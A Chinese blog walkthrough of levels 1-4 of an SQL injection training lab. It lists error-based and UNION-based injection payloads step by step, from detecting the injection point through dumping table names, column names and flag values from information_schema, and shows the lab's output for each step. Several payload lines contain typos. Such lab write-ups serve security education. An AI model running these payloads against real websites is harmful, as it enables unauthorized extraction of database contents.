

封神台基础靶场 显错注入1-4

原创

星星明亮 于 2021-06-24 21:02:53 发布 94 收藏

分类专栏: [封神台靶场 sql](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_46578840/article/details/118189747

版权



[封神台靶场 同时被 2 个专栏收录](#)

4 篇文章 0 订阅

订阅专栏



[sql](#)

4 篇文章 0 订阅

订阅专栏

第一题, 单双引号没区别, 可能不是字符型

1 and 1=1 //页面正常

1 and 1=2 //页面错误, 数字型注入

The screenshot shows a browser window with the following details:

- Address bar: injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2
- Page title: SQL注入靶场
- Content area:
 - 本关考点:**
 - 显错注入 (一)
 - 任务**
 - 通过显错注入获得 flag。
 - 对该页面进行 GET 传参, 传参名为 id
 - 数据库查询语句:**

```
select *from user where id=1 and 1=2
```
 - 查询结果:**

No results found

判断列数

1 and 1=1 order by 1, 2, 3 //回显, 存在三列。

判断回显位

1 and 1=2 union select 1,2,3 //23为回显位

The screenshot shows a browser window with the URL `injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3`. The page title is "SQL注入靶场". The main content area contains the following text:

本关考点:
显错注入（一）
任务
通过显错注入获得flag。
对该页面进行GET传参，传参名为id
数据库查询语句:
`select *from user where id=1 and 1=2 union select 1,2,3`
查询结果:
Your Login name:2
Your Password:3

https://blog.csdn.net/weixin_46578840

注出当前数据库

1 and 1=2 union select 1,2,(database()) --+

The screenshot shows a browser window with the URL `injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,(database()) --+`. The page title is "SQL注入靶场". The main content area contains the following text:

本关考点:
显错注入（一）
任务
通过显错注入获得flag。
对该页面进行GET传参，传参名为id
数据库查询语句:
`select *from user where id=1 and 1=2 union select 1,2,(database()) --`
查询结果:
Your Login name:2
Your Password:error

https://blog.csdn.net/weixin_46578840

注表

1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error' --+

注入靶场

查看源码

本关考点:

显错注入（一）

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

数据库查询语句:

```
select *from user where id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='error_flag'
```

查询结果:

Your Login name:2
Your Password:error_flag,user

https://blog.csdn.net/weixin_46578840

爆字段

1 and 1=2 union select 1,group_concat(column_name) form information.schema.columns where table_name='error_flag' --+

本关考点:

显错注入（一）

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

数据库查询语句:

```
select *from user where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='error_flag'
```

查询结果:

Your Login name:2
Your Password:id,flag

https://blog.csdn.net/weixin_46578840

爆字段值

1 and 1=2 union select 1,group_concat(id,flag) from error_flag #

本关考点:

显错注入（一）

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

数据库查询语句:

```
select *from user where id=1 and 1=2 union select 1,group_concat(id,flag) from error_flag
```

查询结果:

Your Login name:2

Your Password:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaQ-98K

https://blog.csdn.net/weixin_46578840

成功

第二关

字符型报错注入，

```
1' order by 1,2,3 --+ 确定为三列
1' and 1=2 union select 1,2,3 --+ //回显为23，这里一定要用and 1=2才能回显
1' and 1=2 union select 1,2,database() --+ //爆当前数据库
1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
) -- //爆表,
1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag' --+ //爆字段
1' and 1=2 union select 1,group_concat(id,flag),3 from error_flag --+ //爆字段值
```

数据库查询语句:

```
select *from user where id='1' and 1=2 union select 1,group_concat(id,flag),3 from error_flag -- '
```

查询结果:

Your Login name:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaQ-98K

Your Password:3

https://blog.csdn.net/weixin_46578840

第三关

多了个括号

```
select *from user where id='(1' order by 1,2,3#')
```

查询结果:

Your Login name:test
Your Password:mima

https://blog.csdn.net/weixin_46578840

```
1') order by 1,2,3%23 //判断列数
1') union select 1,2,3%23 //23为回显位
1') union select 1,2,database()%23 //当前数据库
1') and 1=2 unions select 1,group_concat(table_name),3 from information_schema.tables where table_schema=databases()%23 //读表
1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'%23 //读字段
1') and 1=2 union select 1,group_concat(id,flag),3 from error_flag%23
```

```
select *from user where id='(1' and 1=2 union select 1,group_concat(id,flag),3 from error_flag#')
```

查询结果:

Your Login name:1zKaQ-Nf,2zKaQ-BJY,3zKaQ-XiaoFang,4zKaq-98K
Your Password:3

https://blog.csdn.net/weixin_46578840

第四关，将第三关的单引号换成双引号即可

```
1") and 1=2 union select 1,2,3%23 //回显位
1") and 1=2 union select 1,database(),3%23 //当前数据库
1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='error'%23 //读表
1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'%23 //读表内字段
1") and 1=2 union select 1,2,group_concat(id,flag) from error_flag%23 //字段数据
```